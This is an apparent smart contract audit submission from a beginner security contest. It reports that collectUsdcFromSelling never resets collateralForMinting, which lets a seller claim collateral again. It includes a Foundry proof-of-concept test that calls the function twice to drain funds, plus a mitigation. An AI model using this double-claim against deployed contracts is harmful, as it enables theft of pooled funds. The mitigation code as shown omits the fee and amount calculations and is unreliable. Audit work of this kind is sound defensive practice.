NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Collateral Not Cleared After `collectUsdcFromSelling`

Author Revealed upon completion

Collateral Not Cleared After collectUsdcFromSelling, user can drain the funds

Description

  • When a seller collects proceeds, the locked collateral for the sold token should be returned and cleared so it cannot be claimed again.Explain the specific issue or problem in one or more sentences. However, collectUsdcFromSelling transfers the collateral back to the seller but never sets collateralForMinting[tokenId] = 0, allowing repeated calls to reclaim the collateral if the contract has funds.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
​
// @> collateralForMinting[listing.tokenId] is never cleared

Risk

Likelihood:

  • Sellers can call collectUsdcFromSelling multiple times for the same inactive listing.

  • Any remaining or incoming USDC in the contract can be drained via repeated collateral claims.

Impact:

  • Double-claim of collateral leading to loss of contract funds.

Proof of Concept

function testCollectDoesNotClearCollateral_Bug() public revealed {
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
usdc.mint(address(nftDealers), 2000e6);
mintAndListNFTForTesting(tokenId, nftPrice);
​
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(1);
vm.stopBroadcast();
​
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
​
// Bug: collateral is not cleared after collecting proceeds.
assertEq(nftDealers.collateralForMinting(tokenId), nftDealers.lockAmount());
// user can drain the funds
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
}

Recommended Mitigation

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
+ collateralForMinting[listing.tokenId] = 0;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!